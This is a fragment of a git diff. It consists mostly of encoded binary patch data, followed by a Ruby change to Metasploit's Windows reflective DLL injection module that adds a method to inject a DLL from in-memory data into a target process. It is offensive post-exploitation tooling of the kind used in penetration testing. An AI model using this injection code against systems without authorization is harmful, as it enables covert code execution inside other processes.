zRW|4OM4@IV+xYx;;j1gG@P$O<`&PuEn@yrB{oBfBy)c>|!|GqyDSR=6y)d`CVEcw` zn_C<7?O^JGsq)SPRz5eHEuCi)mVM2t=e;f5En;~uCJXy7v#Bp8MAj8)n=066fu*=G z_t)}0O}G=!FJiB}*eBu{4~I`x#me!Ys_)Y`#T54Ii`|63zhVjVpX%&$4D+6o*L)Pq zsnb4$cFrA($zFr6c<9MFnB8WI?heDJM_qg7x8?a^?283s_(+zrFe4=TCI<CMdCDP- z`-d0V^o17T;7PV>VJe@(_AZ<hQt~VKhp?q_3%h@TwO=F)yDzXAi{gd-1KG+&=iB$g zuV$Dge97Me4Y7IgYq)pe6aERBDW~-Ec~)7j3S0ZLstPMVft{%s7+y(Dw%`4`%;>&L zH$6q1eT;Qp+<`B0jauA^m+t(GN+<pIOlPh*%hoU1ApCxYb+Y#}cF1pC8?WWFdG>Zf z<r(&}{n<7f4x?aafgsyk_~-FTTG*Ght!$Uk?4&!;r~7Fc7SfMis`PLH>U9_fQwIA{ z`3T;dW5&vhn=9aheX`_zHlwmpsM*Q-R9z@H?WST4o7zzx@h-mXBdeerPv}M?r5uJk z#5oOp6138P)l+HVTIx4FHD1eLXwp;L@uLm$eXpmM>fBYN=%GVrE54(#^-JT0UOU)~ zl^cXP2VFy!Me>1TKEcD|P$$C(*E7ox^8)*bbz8A6P(5J8a+aD8u+LU(G)+fJxiY}# zaMMg|=kaW&GCSt#e(d8FCkxJA`*YIKn7U+ix1un(PBDD8pWRoU6PCQIRdaS9s`2Al z;HuD|4{P<RcGtRQEI+`rtE>Hl-#?`K0w#Z`)n{dk*HoJu_WXBs`}eR?WmZgI82_L3 zb=-scQrXvQ`wO4H=}KJpq;J&J8VsKOmy!WhH%yg%5kBUH$j;22yIh+$ih;uF+3fu{ zUJ<@Oz^t2J;2&}w-8@bZ8rQJ+e_as%T<!YvUpUZqKjT{ePKIEb?7}{fr(7zdtNX!C zt_xcZ@WO^&Z2dNyF#i=-(0eZnyzKh-j@Nl%Yb6`-{^xuz7FLsiUvT7_6ycZ0SZR$# zXnc%qtjXjP*~ywoe3Gl<t}g?Urv>50otze|-FvhN${(%$-GuV9Y+snqm6_~$MJ#Fm zC9z^Yb>?WoBwTiSv%mwd3(n21tq1D)-Jh%x;%>@Z1>y}S57jZFM91O<z_p2Cq2}ef zVa*yHPqNc>N$L12o6*Rn#qN2)(sm+8cVGI~%25Qsg5#ROHH#wacIYvR(D-Lxb!geD zLp(%)_&|Ii28bWT9})lwgako?_pUl*>@`GKxvu&%qqr?}edOQYUwC@V;4PD;^zF55 zTU=mul_=KpA5;$w5xa#>??->I!EtS|g6WSWHdi}C#K?$N^UwrPi5z$QILE~$R__lH zquaD{F<6A%Qt&HWef19^VtbSrXc9X-N;I8O;rK140Fqvh1pbYLz5-(Pq<KGq^Xnm` zg$DU@K^cBrP!GS-*1W%W<G2Tq*1T=fI4%cbt*>5X5>wi@`dPYj+*rsHo-#|I|DI0i z>hmV?EpJoT4dA#vkc#^16=pF7P2FV{J4mfPStxT{4P-Nlsj0qU7Ly)prN$tR$KpJw z^VATCSEny}*vfAOw*x|BNEjL!#6?auagiAzT;zzbo1xcCjbdG})-&?4S~>14<jd+= zp<<YK_y^<Ad=ql3dPAt#&TIA=i9f`F+^RkXbKD1UxIdzhww?UBXxj%|bcTzI=4-g% zVvhTunr|bvYfmod2^Z=a-PU$SPUg5Skl=>uer?1TF#;dA5wieyC>MFroNd7ysu^Nw zKmz~Dpd0XZvo=)s3=>nl<9T>K$7L+QI5$*37bf<|Yptbz5o##sxJ91)p;7=RWdw6l zkI<W@Ycvi)C9S?Y;ddRfq57LJF=+rbJT1oCaPNS1U(RuZAi=FgntVA^hCgTO@z0>f zI5;jDvb}mhxR~V~y>ggdha9bThKs|KTPyCr8t(&0Ya`pn`f_4MI49onE5#^EVi<-+ zlEfrHjt-L~u|HC8O5zZ}4M~gy7$U^sfYA|RE?{kh80IrG_Ez<~5n`fXi`@HJg!qFv z)ICj)1OH#Jde;4*0q;KDLF8FQovHfiRPj`G#r>cmdtrLnT)x7LnMx74mB8s?7*2c% ztN^}>u#y0s@H5D`M3FlQZ1L#6k?@6(y*F?Uq;q>byMYDx!<13TYXvqzsQmlD-I%WR z&}rIEL*QS|eF-HC2O||!44ermMdniA7wzzPh297h6ZFhxU>c&!de{l4Kq&7F;0}*o z13d208-O86dLzuho)Gevfmf2SmMGDTM3zO@vw@o+X4nZ&L#PMMz{Ln%AEDw(U_FF- z+yZ>^A?yLzrvsNm$WC}3LU}I&TRe8TBSspcjaE67k0I2EI^fz)r~nz(153K-jj#dV zMG&N4Vz&UlgOERA00JKAgexH0R04+~@Rh(`4EzE@K8?WJ5UQ9kF$1s2^&l)zsv$Ht zn}A9t$9)a^O5n&W^bGnaU=`v>E%gj|3{sdZat%OR4jKYG;q+eEI~_0*z;lpr*e?Q$ za<QJEe+2vyLXB|e;%B&w-g@f@yXNb9HgK#*9|xT4(Fy;AWFT`3aCU*N+kkgGdJ8ZO zp@~L<kajTXghhqWk=F`bLwZWNs40<%^EBU4z;lr4aJmT08K{rSDB!?BSQoGt1NT5^ zBx-@@A#2DV7$)mID+PWGISD(Ce=fbq(@9{T!B`8h=L5%<<9{?1<A7@+)YA1p7bG<a zTLpL;LO#YJ9M^X!LN)BTOK_zSvJ*xP(<>m{0I{TEDuF4(^^T<i194U~Bd-y795NSr zc>@&VDC~D4fcwXw)zBM(bH`#{@k0sW0|+f5ZX7<CKuBK>9QBB<6Rw9)g9!a6qFm&C z71-lZy%86ILnotSuonY&PsaRHj~kJ=4Us``CFl*L7<vLQ5i$yT8n8QL9P|v}NeJa7 zybqy@2_Jh*Z_rfW29F-_IJPciBJyqm-i1&H?mu3R?J-54<3`}qQ}seCfZL{Fh>>AC z@OubVa2r_kq^?_m=OMHhF9L(6>vkjX6^IRa%}?Pxd=4=I`dr}DSr}>PgnvO+mLqW= z%IrBf-l5xoHz7x%6GqtdLZg5$c=WlzqY&x=VP2Wu0V}Wv4&M97n*r?e0>|~n7R?84 zhtPH<d}qFH-vTVhC6u#*AiTX0t%h!1#Bq;8mP0QAW?_`pK+guYt-#8M9t#wgBN&lC za4ZCWTFZ?Co`KNRd<pF3z<fjR4g3-^o$SCxE6{-y#QzE?w;?pV2@2vlgjVlV;8u^m z9oToJ-phR8S|`W7je=eU-hoiWG_T^g3y=or7lE&=#u_0X;FvXfgT?_@Lull1+2(52 zphr}34H8X|sfb+7zyoX18|WVa?f4P;HVR5$nD0%v*};AhxaxIXUjzK@9o&RrzYUCf zS1*TfBZOkZCZPNt?n>|>EZBjOhF(|>C3h#BkmwD3?R`CbZU)Y(K^TVJ2Hdg>jeuSQ z9JpH_p<>_~$PCyw0V7?yy)$sw9&A61VlnVD2#x4TVEkTm7<xXivKI5-8wpZ|@6(5< z7#O!7TLtz6-~~t_^ou~(0rU*|2f&rb(F5q4fppQoiCz+#>UEuvZsKGoq#Hcxgmm*J z9f<k&BnV&g=ya#1%QHC<e(BK(Z+Ub=y5ErxAzeR7C$xHW!Y4dBA>H1{hj4?Y<K0Bc Ub`L>#)T0xAvp2Lr{59bJ01_COaR2}S delta 12322 zcmb_?dt4P&7xv7+L2knVWB|D+$~j0XiUJBE3J5wVCYc&}B~jDTL<KVyk&dLt@hG}Y z%-6Epn|ASfN>Nck4JfTF%}e&Cnbk2gvCQ<<n(tY&f!^<r@4wGqt7q-?tbM<&*@tBt zl9p{qs=Vj6dbVrbgGe!*br63RM>s_(KnkDaCJ3%qeFQ<(E~pi?#WPi{(N*UT;|vz( z-eX__RJG7_;uv{U3L?QtwfvX7{@n!EC=>iL$oU2|Rr|tKtn0d}O|ZnPwi8j4k2B3Z zT0F*fxfh9PEXowuDg3A)Xb)7o>1viN97Jiz^|`K`swGAKjLkAx{m&l}goIDvvk^YJ zQqA5lMO#;shht1v)iL7FEUjKw78?fBZfc)n#J1_?Ir1iU-4rkOVqqR>@^w^1{fRV+ zo$Arq$2nL=9lmB=`Gi$^MEcv1&MmA@_zFfJU0Kc!dxZE*<xWU1VwXKalT!?*<AxJ* z_9xob;AuPVu9oZRodjXYH%FKG8jbe@*XkF>dbJCcW_q)nc2Ohk6D*#peU`=l3DtHZ zN_EKZpl!O+SVJwBUojFVjfAp=TCFu=E_7u#H@$0^PGUILX3}uH!cMpAST@hlSHtBn z#xOJEKsq2xYd9!iinPykWiF_MTJ5g`WKbQ-Oce9`dzd?Otm!}9Wx*VfEtq5FtA;wl zAJ(6_H44@n+!_z-ZEj76^)9#O!5Z{{n+r6P*h3cV*+shIV&$GO@*5c~qktjY!9Mhi zE}IJrAL2P^t7<#$sg^%5hVCjYlJUn?$GZ2oQX|VdKLrPSkX6VNGF7{~)ziQrt3RQm zJgQ3)yw;5^_kx$ZHME6|B5ZKC#sbk<^6WL(*Kmo?6Fez>DM%35i(cI(I?987@GvO< z#|+OkVml+LwiK2}=qO+NgP%ZU<|FBep{4o?I8}EKZAEehlE*WuGw=@?`fm;u*f{S; zJRIfJ8MfA2@o>C&>aApf?e^~7$5HN|7i^SB*=WkBh$1TDRQltzE)p(brG7G~b*wJ4 zFrR+GTanJO3r%L#E;G`xIeXoAKJDXWirMrbZ4+Gy1*+OTEcO!jgxaQ28P!?TVC@X; z<ne5yf7i%r-7M&8d6V#k8#cv-l6}~!y7IM?+>W!!`62A4e_zR-&a45^;ZxJGFSLe) zuXN>r;n7S*_ee1fPG^My&Ef$zI&h5g>|PoalkWssa2*OW^z>wQB(S$+N@lkMgF<ih zlZA>}^O{9C5%fm8=`zwON=h<|Y~L*;D;i6=c!8@lKoFYd*#0Y(Ow#1|Xf~;Rw{UlG zE^`F6?IbpEaKcxvn`YWDi}$d%+P^A($TEULB==oxT+o2tuie#k?Vdf$5@mZJmL#H~ z@wpoIbdL79>qT&Fi5-8@!DQOV8iG=!2|Jmj^lx`Mi8j<PY_MWU`Zx6Bd?vJuxsEJL zGB%BChp#cjwYvoLr8r#Ga@*{>GHMswqFAFBgFJQWluFy2?{G~%pHC$}21eB)M<uaq zN>pe(YCxA<3xf@72TIzk9g<i?aL2OW5;>V^kn$x;+N=bEt0%V|MZ(pEber`c5y1C2 zp48RU2gQM^E$tChEEIdvQT(Su^_<j|H9JX>M-D-mc9SPO)QV4vW!E`!uvz=UK9n5# zk%Pe;=8P2v5T>8H%7S*X*<9!8cCw@sJimrPbwuv808&pD`?^+B27Bb;^&yXyNe^)z zY8Q(`ak%~Yz*lg2TaD54q_+G-hVNtG?NE-<@Hk`!aQWdXz~l`>`d=N9euulv;VuQ_ zqS30hr8SME9(ID`RcNjq7Nc-;c0z5!CmD`B$xT;2WoJU7rJg&S_d={<?%m$9AexuA zLk$h4m_A6LpsbZi;ZQ3snJd0Ac8fe?3{Bb9_fd(~tYSsQW7(URzsuQ7gFV4!c8JSb zLp~|(N~ESA)YQM{O;I)64CO|~3$!7hBh}tc#|D&t8BL{5<s{Ny8R^mQvu`@|j(Bnh z9365WfGhHEtWSqBmYas|U|qvHiYM6+{Qm-*7M3ZVVB5o@#X5E>Y?yeLg@k9u2F4p5 zb4P#5^@nJud3hmp)e+|fCgW%juJ&Aq=>t|C9v(x^8P()F-JT?)>p9vvT{(#EWjM-y z#?W_w>s#ztc#`-kyBFR=TDX_RMD&cv-|LHf{!uvdw9i~Udt<*od*BZ3Y2_v>ikK|E z%uYwVE15g6#gQ?}&!Mu=<gVIkgY3z!u@n<HBEMk!A`^oC)ynwe(2qTy>rgs}u)iW7 zdn{&~aobnaVr`B}z{T`(omOY~U~Q(uARNc;;yY8-F6zo(?+C&HnnSzk&19^A610i- z6)jp@+L~mxwPR-4Vq|pvY9@xZvfVTVJ4H3NwXGJnvFSHBU}+C0v)xpK0U^(H=(S)P zOdDbGau;eFOqI~6x(3tc7OmR25uUB3$y-l38{9<+9{<>_n*5$ZCFi<FwOU0?|EsM= z<a}Y5v!YY6B(>kc9(3*_&FR2;bxHN<(@7SJ!&HYUr4uXZGBEgJds(pE*NeNT6_-l< zTt{ec$tTz+U50x`y-E7K_ADYgHd2M3s-1S_8No>F!Pyh7(v=$aRCI_G^d?&rZIx!f z&)$em6dTyN=;6}hNEU4wDTM{HVoOxVdjY%*!N=HB9VwbQ>G}>UQ&(oa&h}a?0sG)W z&GB_D_r`F`|7Jg1mUvyn7R$27b<1J1tm%H0NHx`{j$BKgt~9ZO);wvI%6wxwb(pDw z8KoAU!CEuHE647BI!lZjrLwG;Vd74<HYQrU%A7H!l5afg({-SDgU#)#NPe%em0d?l zrAh2!*NKuxFP0o@k<wpflVXSW^QJSZ#N=Y3wAj*?w=Hu-klOir(*jh3A^3I+ErrM* zvuRS&CUs#~Vpn>7*cqF%(QexAocqXqF(3y492NBy9cEgjtrJ_^J;SdE6GDOHQJ4}t zu}`}{9&x!NjnhfjWQ;Br=@&=>yJCfuX0ntXQSupBTsXmqt!LAF^oa<vQdp!bL9ZC+ zT!^dtZMu&T=DoOyeb~byC3>=NdPH<Tw~6Y`4pr^h{<zwa(rVS-q<=_^V?<PIdJF3u z*WZ6nJ8H@Vi>m&48f*7G_H3L*%HG7*#f_1kt75LWl&%R?MwLDYv|UeNE_1ZI#`XUe z?5bAZ1Omap%S`RrD{Qu5J9Lkl?ig*!!>MYp6RX&|o=H;AD%RLDGF;zCIi2K{fJ1Av zrNHn*9Dj3tufAnRK<f=QU0SjS`#62_r17+avDwlFqOl34eI_h%H&wr)>ef%;YjBTn zZu9?e^{t%3xuyTZZEod6&Q1A;E3>}DN!yKBRC+zls5Fxt+R?d!ighIcF4eTFjgzM3 zc+pJm7|w)C6}2z)LeA$=G%odcG})bU2hfs^$1I+<-CN`sEEY@Jal7eD4<pXmdR#k> zvJlRewVYKBdFxhREIlt&g_C_R60M>A#tnvPmti`I^8f9QM%qms(N<kq$k|tjO)#w@ z3ZGoKxeaz4XEn~wYGZ#JKzRpj5Xz{wQcgeGMt^J29eL(5&c?T~^#&_&b}nZF+t}R( zdzBfDewMR$+*+Hp*<ep_cG^~7)SqBF*G4Zl=yy0hnP;wUW1lnFm7IN&vzy!4e1m<4 zv*S6tq>arq*j&zz;p`+g8TA{()x)5Ba(X1E)7vr!8>~NPb2!_jjTH>`xAjJk2XofF zjr}E+hWaeA38tG82Ew5XBqyWZva<%gk7pjrGdGf#K_4;LO`L71_`NoEyTLBv>~NlU zbsM|hU?*@ko3qcgu}chgVA=mwab6oe-Jqj5o53^pX=C#ZR^n^|XM@_<J_dVjoiQF( z&fXPUyJRugdd`NlEUpV}w4Xt5=d>5ke6WqZ*PjM+6=!`oyQPi2YOu37YvSzEHujXk zKFZlYUo-YgL0KEU&!FQueVfynZS3m?8_3xoIBRKRR~hV`N@I>?GCP#-$jO+*VuL-$ z*;@iwyJ-e&bOPkkafhSrdz9RIupn&t21(<a%s3^$fB6rOxP}79t<)BjPsa!xRwBvL zmxZ#*L~F=et1K+&h)d@=+{O;gh1f1tUSwsb5{F8?txQRZmD*X^prqoEb(R*-A{_Ru zo=Yt3)1*|dwcnu!j<l8EF~7dOyq@N%0!l@*nSI}mp57N%S#d{1CljH$@({t{>ho)P zsKK+skiIOw-vH6YX7{@#zRo5l_YzMtM{*}A?{Bs<Ii&ab)zpR0UHgB>^=6C4fE@Q% z_0LMqA`p!Jn}%;VzEnRc_OYdkB_6u6jonR7mP$iee2PWf&c>t^w!8Khotp2kqbYHU zKXk`Zi*2!|SYlBN>oEx<qL|n}!~Y<@GE_I*@xF~1s-V?uRR3tPiY@5BTzYX8d)R-Z z)Vnhqks9eA*cpMZb}<KE$l7nZ;&d)b^$;cBYWCs)yMKq3Xs+F~89@R->&?Q`28KM2 zl&*ZX0?{+R1T;C-NFQcJX{FYFu)?z%VMdO2N>{oXX*bm|+*4P=ILTPxz%kxm|Cf4; zSC9|c+<|#ng)bQyYa)$B5^LOucKIVDkE4o@$*fz4z=^&j<$qJ!F2BQJ8;9-8G-zHA zD<w3!BjCD*3oO@>)P<YE0ZogM_U37~NcPsC7|E@Yog6eE)DdCidkJvVh@O{N3UtL> z!8)bS^BcU@SJ1w+=USpPQ|el_H9gul5T>Rxv@G+Nv(M8@qFxB6w&GH?rA>>YNGa$5 zzNvNBOuWD~m`292!i=nbf9SqKaj>?m5iP4Qb;Y$=;^_(vpuW4|O1(?7mNM9rKBWiy zYby;mSunBhGV%t06oyi55B@F*Y%sk8om#0Y>C5rSq1Yb$RT9)-TH9vs46}BjDa7{R zVM!o`?okb<xnXQ>=6tc5{g_!0*>D?GC7e+06-8*Es@>Oe+>Mw<S9;i-QwARq#TwQ* zJ2|EBKAN0~@VYp>S@$UkM(iDbm*x(ay_(usY;t-1Y`h)xhofp=QB6^UX6kX@xjs8a z6tA%ZL;8r#?8cCYE;R`6wZWct(|(HcHCq(E3b0xZlleSi-l;oSx1rMq^!U?Pur=!V zpceJUk^szR7%VxdpQEk|*HD)|(hG)W-3>cw@o&1`)ZKPZFNwj_e#uS^eNz0H#i-q- z#ecBJ)uiAXrL;-S%jw&WIv7Ra+%5K+`hLV2JLa$h8heZse<*uMX$R$XHZA87X>5B| znbS)$-C=b(FGgHk$=#D0Nr8LPep29`^p11#FfTX%4Q4E{&YEd8&@R7ZW(!C3ESvsw z%SdNg)LiX8KEpLvu69*draf;2h+4BN{3?2tl9q^USz5EXf(MxL@(R4Ke3elx;Dbt6 zmM)}$rB~>ZI9*9bX4}0d%oSIRe#!aprH_0B(PP>i&C8F8Wz=nD6lk2Cc(Yo7wDILm z`Lsq|xl9&^lFmIaA3ObMgIAK7_@kVUZ{s%_d{HaEmGiM}{8EF@YvG3|Wu)0n3t^@& zg(y@O(b}But)-0PPQ#77|3(6yks~VfVy_&Uu=m+7kA@8p47Ll{Y8>#w^)tp=lSL{S z%cD?DN%~7hC^`<G!6npu`Bx;3?}(c$edI9pMM}amQCF(S0hK(WpXSelcr?-EnJo_O zb!9<|1HBe;A5HELT305Nu&+iYOHV~I-@H7j_*XV5Z>rSoE<2I;r8M*=t9mR^GTmgK zJ@&CQ@CMs3YP5KVT_2S!E&i27KR!!}{FSYHe3umA#WF`nkNMLR7m4>3TGgf>pwskP z9C=i!J?$GJZ(cUY`WCWXHJ%fNrf6J3&;Cj~&eu(~)y1oh@t&&wMX?ta@4wi=(UF4| zVwVcoG9T0Pqb5H`WxaA9W!bDxLFb`;+rt5hbEo1`FV0KH7GHUr1&<jj>TJ@OgpiX( z{0YyY%)Lo2pU&$Cmp|C{G5tHgXmGasL8Y?!;Ji??t<L{?CT&v3uy`EVg+)%cv3<mD z&*Qk~9~2drRCCq^;{`RB7UYOI)I8%6bxw+D=zrPdC$hsUXXE&4bmi3Ry4|hmYgZH$ zV;Y~I&5k}Xsl!^FH5jB^?YOS|Fw2<8k~mx1ocpYA{zP#%+mLUSR=GP5<!6dx*KXGJ z!P@fjifOnF+!}N6pLRS$|Nc9qFF|fV&O?Ohg763MI^--wL0X2mLoOrz5ON#xBjofn z_V~DRzY7>*yaE_sP1fV=>bM@_VP+m*C@osWipSf;kJ!EOUHwJ`wqCKh3Ca}~H({J) zeTLa5>~!-LWY<n0SkgnYill9UFN=3uX#Jj$566<!vb2Ax_9q$XUpLAh#gWGlI|& z5(`O%jD*aBltQW?dm-nZarT+?FG*VP(D_BdNl}{j727i91*zW@7E-uNdg&==V_~i+ zr58AZr+JFvudLJbG@R5EryuPQKgrmDO0G7dAWN&oYk3C!YEnL#B|WXn1^A|$AEOq2 zf}Q-(nK2_>lrR16E0iwHEqs9G*TB}yj1=ExAIuyqP5YhQo;kj(`deHgCRgucG>yZf z)KqyVw{+r`SXkcX7MWXcx5%5h<w2d1D;btbZn@4a>9D-SE$6vKg=Go1e9SE~U|BVl zo1ENK1k*BZd4pRP!m@x{)*2RV8J#St@=R`A#EpoC$T)!;r*R{KTr!UQmi2nplJm+X zqodt;xt<`_a!V+;_`_1cEgsyG56dBLxl?O&v;dYp&MnXOa`#(@{Z?A27XFT5ExpMu z&UvKkDB6OWZ!>LrU0FQ_wQF)3H{Nzlt)U`JaW~l`McKZ6&-)7W^44IAJ<k>uy&K&5 z2A(TzjbfJF6b!YgU6y8&Z?KfP9mSh0e{Q$Y$C}_^KKMh>{JaKJz`54!KF~Z+5K-at zlL#W__iQlT`r22Zleocj9hx7s^t%mF#Rx^dM%rXBU$Ap?4+n`4eTDg@s@9-tm({ul zCS2AV*|vH8eE)uomRgCouH=qlzsy@36#f97v+>J|ieEzOba+~KGspb>Vk65go+Q4) z-YzbZVz08`lD<mw_r5~9c>@adt;^AJ>2RJsl08)tDUBV;mX-9CUizL@mwX=j`J?pn zpNsCjBIDk}U5pcND|>B04C3^U7YvY6uQ0dgJ4@-0vY6*Tke<2B&OYDSchCr&L(NUH zt|X0M;=(cFPwa_>JEh6FtlbN}CHL=G{}-yg=MCo(#vgw%^9x}tc#&BO`48*5=xxb9 zjD5DqDh>OV-B}bBk~hrQR6cG?EO}X}x5_?hLQw28jCEf;F!(_Z=kQjQr`2DtdPt9o z`&ilHUecONZ1>`sJ=n*X_ms3Hfa2~4aI_1q2uyY*p7GF=X)wF|>2$Z7p8VLEy`+OE ze#a)4jup4DeWi(h?=@pkpH>U&Fz!PxvU{Z#Y2;_D<I-4h9~-)KqF?hZ@Q+|iBMe)8 zf$d$YN|_hf!=)XiVMAF&*|{!XWf{|ir~Kq><7_T}6@eGt@K4fAIh1baS<o_FO37kM zd9K*Rrj!o}3aUqwZTJ5!@pav&P*0PkdR9~3RlMlDR^DAyDzMn*PyFARP6|8AEVh>= z+ZlGqmg&1c-KZ36BQAq^E$<`+onhUU&knR6N5PH^NwwV*7vM8VPG|2f@07S?4aGp8 z9HeEKg`X&*bmjXD)N40=bBtPYLZx35$3CH!-&h78?32LV?BVj$Qu;3TdByp%t$57G z#kQ#v<&o`_vYXa(<4JDZ!i^Q&I55g6y^N>ggN#%;PmMD&m=^QY2l&+ng_ZEsOPrg7 z6n*K?^B-Q)m}Nyr>C+wT;p&$qw_4|=6(OS6Pe<_OQP<sc)%jrMF;R*>%#N;F@3pqZ z7t2{$Qp3h+8_o9)!RNbdw_{Cnu$_Nlx;8I-4s02#PGy|A^5?`8;k8zDcUhKCt!5f` zh^=1zoD{g-sHX5Bs__unD{BJ0hhR}rRhb8z4_6)%*_=ub$+n;B^SrgssP9`Au&&BK zABlge8@6x#>bc=xeDwdQ?%+qLE|$$&KUkXhrgP8wr`<#E?54T+wII9Vrg`}woE|Uu zsg9(9d!6xBvX|6pJ{$D<zoe2H_U-G>iwB&e-^iDwf^}@?Tj!+}mChA!<37ur<+N-| zl+3rB*am9h#S+Bgrjf5WpMLj{C|UP1%lpNW&lczA_cu%81!vOE*F-6$f_=T~Gx1aQ z*6u|7f^%VajI?yh`aKq@U<!-blO*n86ZT9Loz8=M&U#w!dL!Pp*5a9;PY!-x8Dsoy zg7%AQD@_+l%(k?P%z5yl?7zfVS5XrY>YQS)9C}TPe8ZVi(;!wg_w=dUd!$l|EKr4I zIC6yQT#j!~=2*KJxUO^ifMqMVL8#<7fPGmTor*t3!O@O;9`XW&-r0)~ebT>Hjt&8= zIpGGl8=T8Tl69?n%2rvoqOwkeVASf|Anp(o!~@a};tBDBctd>lSJwF^50@UUtNPSe zelOrqQRH7g9BmrD=6hwz{9i)0n5!yexk0p4jqsCu1zf<Mq8{0?rgua9s~moENN}t9 zFc!BxN)Y<i3xXr6>Y$$-7TC&Z7D3pG#aLEf^^>361tof!<*t*6rj9O;6NEjGw~&?o z9f$s3NKH#x^pFIPK2m&ux4Yn-=plIb@hED|Ti8nwW<y%@z6kwYNKJj!8nYbJrPXgk zJgzIq*DYn9hF+LJ>8f*P`OUVbN;u}MkmmZTRsM1en!3kd?y9u*<mOO8h*Ht{24K}q ze>wW8R;nK6)i}@NLD4@ie0sWLVp{nQxCbI3G=_u$A>KmBRI?D0=qH4XYTq1i#e7<> z^)Y%zJ~g;s2It}etC|}iw{IK%gL%k`%X3QA%K>tyHuL;Zg3#@8GJgznq$N@il2J&9 z?(KxI;tz$eM5hoY?iPHI+fpS4%ALB93z{qhw2W?RJ69kGd=;{|p(-;_UW5@i94Pk# z{6V?Mi{>m8pGgxS8(Mn%V=>-7kgjQ{>f2t9X&cWziv{6r$kz>3&$XBPq_x)4Zz*bk z{MwQ~K=BlmL?1!v6VPnFLgV0F(CXW<Ob{M}n5zEMUXISDhR27uHN0)W-dG_B`yq>4 zi!{3n=EQb_xz9g?s;v}+mmv{V*+Fu@w$Zx<lb>A>6000R@<?lI#m+VOMu4<7vO|Qs zASVV1@^2nR7)3>Hk6}?1IU10{VWJ`rM(Pbk9uByv$RPkzusjklCRk1dtP7Ug(_fuc zZ3~t=OIL#Te;O?RB#+3S&JTkBFIYAAp?CJSXS&KFTUKkXdL~x>ylUA)@8SDl+U#Fe z<&Te|7+Kf^EN+kCjKb$LuoCA=6m-HPkbFE7)&g&|=taSTumwW)?ZC^B9$jSN3UCLe zWHj<t10Ta5s!;i}fL$<M8=%v)WkBFxCS*a`1~DoCUWODQ^A+GAoFv82>93(mA(VL; z@bxI@uoIqvP~LBWk)6371?=0RCj*yu;f+`Zd<R1Q)xbxi%Xnf!G#UXhdIR*tG35^@ z!VC!YU;^+qj;<P1d<WPshWB^|@O&&r2KEcUdk`84!Xc0Fyee=8gzVM83oZJ!GAMD~ zc*XHRu{$b2W$wV!J$NIo0YiFXx1vFzz|jzDDB;2uo$$X9YUo4Y5gdF4@Tmn3is%06 zz^M>w1mQXydSx5nv;j)HL_WNpzz2|TVSflb-WNTCeggPMKip!}Ghh<Vlq|ftCj+lR zJYgrikRk{t@aHdt+5K@n!L9-iK%$`cNEL)9Ak>KbRQwqCHWJhu!q*0IeLJwBMQ;SU zT6Dsv)3G^`c?R%mi+&9_Eu+N_d>uj~K}b88bixCJp(Ae%P{<;CnQSO4kf8Zq3CzZs zKLbuG@LdQkx)Z>CLj++H?6pAaP(Bi|z#))I@(0==)UzwVI2GXoblm^KTM(m@z@0f* zBe3rVHk9Fil%WwQ;wqq)x&xyjvC-HnzzhiaECKGqHK4+dU_!V8F)9PD9KkCfG(C#7 z5{tzP+z6qLZ34cKhp9x~CBVM8Hx@!KONO%KaqMLxfZfKT)zH&{E{G?7Eg_u!1h1e7 zc&SCd2RxC_?S$@6@&*w;KVA@gk=J*EAiOz|H$uf-au^Z|do8fbWXwPHIDIl!CPW2M z1Y8NpgI)<-2N@0hb>JJ2eCP<FgaHM7v<PQGXe0=~gwRl*1)84X`a<As$OPo|oFWJ_ zA>=b_N*T6CA)n)P;5QIzP%|)WIu0Uahyad(Pz6(g2U_$R;E<>JqEms3AjUKSeP-a` zLf&P-A7`UO&|Sc@MHp%5gwM=Hlu(AmEGSp!frNeySTG;M3Z3vJ2o<^#_;ZWy0wxyo z9uV$;&?2n?zKM(XA@aTr+_?awge|%o81X#cu7tshxjhtEhA33Xg%jb_QnVWSGT`Ts zmC#QEx8ZiKguWeU$B0!!Ukxl>fxS=uzy=8Zyj5rfX0GI;m<4<f5)1nWz$`m<7Iea2 zA^9;l|C^yqUB!D@2|NR#)q57$LF0M^a2JGnxf>`t5K2Jz1x|y|iMb3obd4Z1LRW!4 zYq5~Y2UriGX>A1R5Sn{L+d@<&dO^b*g~WKsRGeHBfZf-jH_&?ke}~*b=F0V$?@bs= z*j3=)uX0^@O%R@X2Vb19PX(@oP&tGi+xXew39Nn(k9n{Y?)d;C4gJG1DDUrp6A~W) z<z4*v^ap+q`4;wTz|cKt1oSB2J_wCaEl}8t)epNTa0P_yTYyJC#P%Z}VE>P}eE@LH zK6DuN-M~BhG5-UQAmwN^AEH{I;{dh_?3KWw_?XUut^%VEp=Z!7z=t2B2hjcNd7$5n zQKW#s3_>~~MdG9rQUp&rAw}M#12O+C2|~Gn6BJWZ@JvpGSuHx@lop+k;ydyor0|n; q!kQMH@aq<xkfJy8Av86Tjt?hNB8&v~Ixw+CCmgXqAVa?8`F{Z4dj~H7 diff --git a/lib/msf/core/post/windows/reflective_dll_injection.rb b/lib/msf/core/post/windows/reflective_dll_injection.rb index 2a3c8779bd..5f99480734 100644 --- a/lib/msf/core/post/windows/reflective_dll_injection.rb +++ b/lib/msf/core/post/windows/reflective_dll_injection.rb @@ -15,7 +15,6 @@ module Msf::Post::Windows::ReflectiveDLLInjection PAGE_ALIGN = 1024 - # # Inject the given shellcode into a target process. # # @param process [Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Process] @@ -24,7 +23,6 @@ module Msf::Post::Windows::ReflectiveDLLInjection # # @return [Fixnum] Address of the shellcode in the target process's # memory. - # def inject_into_process(process, shellcode) shellcode_size = shellcode.length @@ -39,7 +37,6 @@ module Msf::Post::Windows::ReflectiveDLLInjection return shellcode_mem end - # # Inject a reflectively-injectable DLL into the given process # using reflective injection. # @@ -49,7 +46,6 @@ module Msf::Post::Windows::ReflectiveDLLInjection # # @return [Array] Tuple of allocated memory address and offset to the # +ReflectiveLoader+ function. - # def inject_dll_into_process(process, dll_path) dll, offset = load_rdi_dll(dll_path) dll_mem = inject_into_process(process, dll) @@ -57,4 +53,20 @@ module Msf::Post::Windows::ReflectiveDLLInjection return dll_mem, offset end + # Inject a reflectively-injectable DLL into the given process + # using reflective injection. + # + # @param process [Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Process] + # The process to inject the shellcode into. + # @param dll_data [String] the DLL contents which is to be loaded and injected. + # + # @return [Array] Tuple of allocated memory address and offset to the + # +ReflectiveLoader+ function. + def inject_dll_data_into_process(process, dll_data) + offset = load_rdi_dll_from_data(dll_data) + dll_mem = inject_into_process(process, dll_data) + + return dll_mem, offset + end + end diff --git a/lib/msf/core/reflective_dll_loader.rb b/lib/msf/core/reflective_dll_loader.rb index 